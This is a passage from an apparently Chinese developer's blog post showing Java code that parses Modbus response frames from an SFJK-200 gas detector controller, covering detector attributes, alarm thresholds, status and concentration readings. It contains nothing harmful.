alt="image-20230309162610293"></p><h3 id="读取探测器属性及单位-读取-1-回路-1-号点探测的浓度及属性，根据寄存器地址映射表查-到，1-号探测器对应寄存器地址为-0002H-数据高字节代表单位，低字节代表属性。">读取探测器属性及单位 ( 读取 1 回路 1 号点探测的浓度及属性，根据寄存器地址映射表查 到，1 号探测器对应寄存器地址为 0002H )数据高字节代表单位，低字节代表属性。</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/687d5b417d2b548445b6cd3ce0448a5a.png" alt="image-20230309162641484"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">9</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = <span class="number">0x02</span>;</span><br><span class="line">bytes[<span class="number">3</span>] = <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = <span class="number">0x0A</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x39</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0xD3</span>;</span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">System.out.println(sfjk200Mapper.readValue(bytes, <span class="number">0x0002</span>, Map.class));</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/3fa918d94331f689c7390cbca0cf3d42.png" alt="image-20230309164119135"></p><h3 id="连续读取-1-回路-3、4、5、6-号探测器属性及单位。（根据寄存器地址映射表查到-3-号探测-器从-0004H-地址开始-）">连续读取 1 回路 3、4、5、6 号探测器属性及单位。（根据寄存器地址映射表查到 3 号探测 器从 0004H 地址开始 ）</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/842a3afad6f91158c96b6f89347668a8.png" alt="image-20230310094326283"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">13</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x08</span>;</span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x0A</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x0D</span>;</span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x81</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">9</span>] = (<span class="type">byte</span>) <span class="number">0x02</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = (<span class="type">byte</span>) <span class="number">0x82</span>;</span><br><span class="line">bytes[<span class="number">11</span>] = (<span class="type">byte</span>) <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = (<span class="type">byte</span>) <span class="number">0x22</span>;</span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">Map&lt;String, Object&gt; map = sfjk200Mapper.readValue(bytes, <span class="number">0x0004</span>, Map.class);</span><br><span class="line">map.forEach((k, v) -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (k.equals(<span class="string">&quot;data&quot;</span>)) &#123;</span><br><span class="line">        List&lt;Map&lt;String, Object&gt;&gt; list = (List&lt;Map&lt;String, Object&gt;&gt;) v;</span><br><span class="line">        list.forEach(System.out::println);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        System.out.println(k + <span class="string">&quot;:&quot;</span> + v);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/f9e697f461af6dab7369ab448a94e81f.png" alt="image-20230310100156371"></p><h3 id="读取-1-回路-1-号探测器的低限报警值-假设-1-号探测器属性为甲烷，单位为-LEL-根据寄存-器地址映射表查到，1-号探测器对应寄存器地址为-03E2H">读取 1 回路 1 号探测器的低限报警值( 假设 1 号探测器属性为甲烷，单位为%LEL.根据寄存 器地址映射表查到，1 号探测器对应寄存器地址为 03E2H)</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/c0dce905ea4bc9c7e36cd766261b765d.png" alt="image-20230310100226131"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">7</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x03</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x02</span>;</span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0xFA</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x07</span>;</span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">Map&lt;String, Object&gt; map = sfjk200Mapper.readValue(bytes, <span class="number">0x03E2</span>, Map.class);</span><br><span class="line">map.forEach((k, v) -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (k.equals(<span class="string">&quot;data&quot;</span>)) &#123;</span><br><span class="line">        List&lt;Map&lt;String, Object&gt;&gt; list = (List&lt;Map&lt;String, Object&gt;&gt;) v;</span><br><span class="line">        list.forEach(System.out::println);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        System.out.println(k + <span class="string">&quot;:&quot;</span> + v);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>** 注意:当前数据为全部除以10后的数据，因为解析和指令是分开的，所以需要根据指定中指定气体单位判断返回结果需不需要乘以10 **</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/bf1feb60d608cfff94a24928c68febf6.png" alt="image-20230310100553993"></p><h3 id="读取-1-回路-3、4、5、6-号探测器的低限报警值（3-号点属性为天然气，单位为-LEL-4-号-点为甲烷，单位为-LEL-5-号点属性为一氧化碳，单位为-μmol-mol，6-号点为氧气，单位为-V-V）-根据寄存器地址映射表查到，3-号探测器对应寄存器地址为-03E4H">读取 1 回路 3、4、5、6 号探测器的低限报警值（3 号点属性为天然气，单位为%LEL .4 号 点为甲烷，单位为%LEL .5 号点属性为一氧化碳，单位为 μmol/mol，6 号点为氧气，单位为%V/V） 根据寄存器地址映射表查到，3 号探测器对应寄存器地址为 03E4H</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/84bb6c2d651e852968593434824b9fa3.png" alt="image-20230310100818315"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">13</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x08</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x64</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x96</span>;</span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x78</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">9</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = (<span class="type">byte</span>) <span class="number">0xBD</span>;</span><br><span class="line">bytes[<span class="number">11</span>] = (<span class="type">byte</span>) <span class="number">0xB8</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = (<span class="type">byte</span>) <span class="number">0x64</span>;</span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">Map&lt;String, Object&gt; map = sfjk200Mapper.readValue(bytes, <span class="number">0x03E4</span>, Map.class);</span><br><span class="line">map.forEach((k, v) -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (k.equals(<span class="string">&quot;data&quot;</span>)) &#123;</span><br><span class="line">        List&lt;Map&lt;String, Object&gt;&gt; list = (List&lt;Map&lt;String, Object&gt;&gt;) v;</span><br><span class="line">        list.forEach(System.out::println);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        System.out.println(k + <span class="string">&quot;:&quot;</span> + v);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>** 注意:当前数据为全部除以10后的数据，因为解析和指令是分开的，所以需要根据指定中指定气体单位判断返回结果需不需要乘以10 **</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/4d0839861ec55ed404cc3d18d0ef4da2.png" alt="image-20230310102142906"></p><h3 id="读取单个探测器状态（状态参考探测器状态定义）根据寄存器地址映射表查到，1-号探测器-对应寄存器地址为-07C2H">读取单个探测器状态（状态参考探测器状态定义）根据寄存器地址映射表查到，1 号探测器 对应寄存器地址为 07C2H</h3><h4 id="示例">示例</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/5a98838aff3701062fd0c9da4feaccb7.png" alt="image-20230310102213104"></p><h4 id="代码-2">代码</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">7</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x02</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x79</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x8E</span>;</span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">Map&lt;String, Object&gt; map = sfjk200Mapper.readValue(bytes, <span class="number">0x07C2</span>, Map.class);</span><br><span class="line">map.forEach((k, v) -&gt; &#123;</span><br><span class="line"><span class="keyword">if</span> (k.equals(<span class="string">&quot;data&quot;</span>)) &#123;</span><br><span class="line">    List&lt;Map&lt;String, Object&gt;&gt; list = (List&lt;Map&lt;String, Object&gt;&gt;) v;</span><br><span class="line">        list.forEach(System.out::println);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        System.out.println(k + <span class="string">&quot;:&quot;</span> + v);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h4 id="输出">输出</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/3346b0963ed26b5bc8becbc33b7ad161.png" alt="image-20230310103101955"></p><p>** 示例CRC存在问题 **</p><h3 id="读取-1-回路-3、4、5、6-号探测器的状态（根据寄存器地址映射表查到，3-号探测器对应寄-存器地址为-07C4H）">读取 1 回路 3、4、5、6 号探测器的状态（根据寄存器地址映射表查到，3 号探测器对应寄 存器地址为 07C4H）</h3><h4 id="示例-2">示例</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/d015828a08a07ca644326f3b39cc52a7.png" alt="image-20230310103158191"></p><h4 id="代码-3">代码</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">13</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x08</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x03</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x04</span>;</span><br><span class="line">bytes[<span class="number">9</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = (<span class="type">byte</span>) <span class="number">0x08</span>;</span><br><span class="line">bytes[<span class="number">11</span>] = (<span class="type">byte</span>) <span class="number">0x81</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = (<span class="type">byte</span>) <span class="number">0x10</span>;</span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">Map&lt;String, Object&gt; map = sfjk200Mapper.readValue(bytes, <span class="number">0x07C4</span>, Map.class);</span><br><span class="line">map.forEach((k, v) -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (k.equals(<span class="string">&quot;data&quot;</span>)) &#123;</span><br><span class="line">        List&lt;Map&lt;String, Object&gt;&gt; list = (List&lt;Map&lt;String, Object&gt;&gt;) v;</span><br><span class="line">        list.forEach(System.out::println);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        System.out.println(k + <span class="string">&quot;:&quot;</span> + v);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h4 id="输出-2">输出</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/6e08437b8a731b63294611d217e157f8.png" alt="image-20230310103618530"></p><h3 id="读取-1-回路-1-号点探测器的当前浓度值（根据寄存器地址映射表查到，1-号探测器对应寄存-器地址为-0BA2H-）">读取 1 回路 1 号点探测器的当前浓度值（根据寄存器地址映射表查到，1 号探测器对应寄存 器地址为 0BA2H ）</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/9c47a658fc547d27f8ff02de47de4983.png" alt="image-20230310103646541"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">7</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x02</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x5A</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x39</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0xEF</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">Map&lt;String, Object&gt; map = sfjk200Mapper.readValue(bytes, <span class="number">0x0BA2</span>, Map.class);</span><br><span class="line">map.forEach((k, v) -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (k.equals(<span class="string">&quot;data&quot;</span>)) &#123;</span><br><span class="line">        List&lt;Map&lt;String, Object&gt;&gt; list = (List&lt;Map&lt;String, Object&gt;&gt;) v;</span><br><span class="line">        list.forEach(System.out::println);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        System.out.println(k + <span class="string">&quot;:&quot;</span> + v);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>** 注意:当前数据为全部除以10后的数据，因为解析和指令是分开的，所以需要根据指定中指定气体单位判断返回结果需不需要乘以10 **</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/f6224a5161d6bd7faf5c3e303144d8d5.png" alt="image-20230310103831090"></p><h3 id="读取-1-回路-3、4、5、6-号探测器的低限报警值（3-号点属性为天然气，单位为-LEL-4-号-点为甲烷，单位为-LEL-5-号点属性为一氧化碳，单位为-μmol-mol，6-号点为氧气，单位为-V-V）-根据寄存器地址映射表查到，3-号探测器对应寄存器地址为-0BA4H">读取 1 回路 3、4、5、6 号探测器的低限报警值（3 号点属性为天然气，单位为%LEL .4 号 点为甲烷，单位为%LEL .5 号点属性为一氧化碳，单位为 μmol/mol，6 号点为氧气，单位为%V/V） 根据寄存器地址映射表查到，3 号探测器对应寄存器地址为 0BA4H</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/f5dd835057b1134f52ca6f4db6faf43b.png" alt="image-20230310103906086"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/b919dcc2cd6d419957d795acb4a4ec80.png" alt="image-20230310103915347"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">13</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x08</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x64</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x96</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x40</span>;</span><br><span class="line">bytes[<span class="number">9</span>] = (<span class="type">byte</span>) <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">10</span>] = (<span class="type">byte</span>) <span class="number">0xD1</span>;</span><br><span class="line">bytes[<span class="number">11</span>] = (<span class="type">byte</span>) <span class="number">0x38</span>;</span><br><span class="line">bytes[<span class="number">12</span>] = (<span class="type">byte</span>) <span class="number">0x78</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">Map&lt;String, Object&gt; map = sfjk200Mapper.readValue(bytes, <span class="number">0x03E4</span>, Map.class);</span><br><span class="line">map.forEach((k, v) -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (k.equals(<span class="string">&quot;data&quot;</span>)) &#123;</span><br><span class="line">        List&lt;Map&lt;String, Object&gt;&gt; list = (List&lt;Map&lt;String, Object&gt;&gt;) v;</span><br><span class="line">        list.forEach(System.out::println);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        System.out.println(k + <span class="string">&quot;:&quot;</span> + v);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/5ec825a0f4da6d491585985723e55478.png" alt="image-20230310104125705"></p><h3 id="读取-SFJK-200-外控电源状态-外控电源状态请参考外控电压状态定义表-1-回路外控电源-对应寄存器地址为-0f82H-）">读取 SFJK-200 外控电源状态( 外控电源状态请参考外控电压状态定义表 ) 1 回路外控电源 对应寄存器地址为 0f82H ）</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/3b66ec6879fbc7eeaadc4cda139da750.png" alt="image-20230310104144513"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">9</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = (<span class="type">byte</span>) <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = (<span class="type">byte</span>) <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = (<span class="type">byte</span>) <span class="number">0x04</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">3</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = (<span class="type">byte</span>) <span class="number">0x30</span>;</span><br><span class="line"></span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0xE1</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = (<span class="type">byte</span>) <span class="number">0x28</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">Map&lt;String, Object&gt; map = sfjk200Mapper.readValue(bytes, <span class="number">0x0F82</span>, Map.class);</span><br><span class="line">map.forEach((k, v) -&gt; &#123;</span><br><span class="line">    <span class="keyword">if</span> (k.equals(<span class="string">&quot;data&quot;</span>)) &#123;</span><br><span class="line">        List&lt;Map&lt;String, Object&gt;&gt; list = (List&lt;Map&lt;String, Object&gt;&gt;) v;</span><br><span class="line">        list.forEach(System.out::println);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        System.out.println(k + <span class="string">&quot;:&quot;</span> + v);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/fb913127783355075b1aafaa3eac0ff2.png" alt="image-20230310104319682"></p><h3 id="读取-SFJK-200-控制器状态-SFJK-200-控制器状态参考控制器状态定义表-根据寄存器地-址映射表查到，对应寄存器地址为-0F8AH">读取 SFJK-200 控制器状态(SFJK-200 控制器状态参考控制器状态定义表 ) 根据寄存器地 址映射表查到，对应寄存器地址为 0F8AH</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/e88439d26b7f8a962c7d8100de9308a3.png" alt="image-20230310104331648"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 